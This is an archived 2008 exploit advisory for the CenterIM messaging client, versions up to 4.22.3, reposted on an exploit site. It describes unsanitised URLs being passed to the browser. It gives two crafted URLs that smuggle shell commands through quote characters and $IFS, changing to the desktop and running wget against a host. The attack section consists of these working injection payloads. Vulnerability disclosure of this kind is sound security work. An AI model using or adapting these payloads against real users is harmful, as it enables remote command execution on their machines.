CenterIM <= 4.22.3 Remote Command Execution Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : CenterIM <= 4.22.3 Remote Command Execution Vulnerability
# Published : 2008-03-20
# Author : Brian Fonfara
# Previous Title : Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit
# Next Title : MG-SOFT Net Inspector 6.5.0.828 Multiple Remote Vulnerabilities

#######################################################################

Application:  CenterIM
              http://www.centerim.org/index.php/Main_Page
Versions:     centerim <= 4.22.3
OS:           Linux
Bug:          Execution of shell commands
Exploit:      remote
Date:         15 March 2008
Author:       Brian Fonfara (w00)
   eMail:    brian.fonfara@gmx.de
   Web:       newb.kicks-ass.net


#######################################################################

1) Bug
2) Exploit


#######################################################################

=======
1) Bug
=======

Received URLs in the message window do not get checked for illegal
characters, like "'", """, ";", "$", "{", "}", "&&" and "||"

#######################################################################

===========
2) Exploit
===========

Standard settings:
- Browser already open:
http://gidf.de/centerim)';cd$IFS$HOME/Desktop;wget${IFS}http://google.de;'(

- New browser instance:
http://gidf.de/centerim"&cd$IFS$HOME/Desktop;wget${IFS}http://google.de"

#######################################################################

Greets to: mrks

# www.Syue.com [2008-03-20]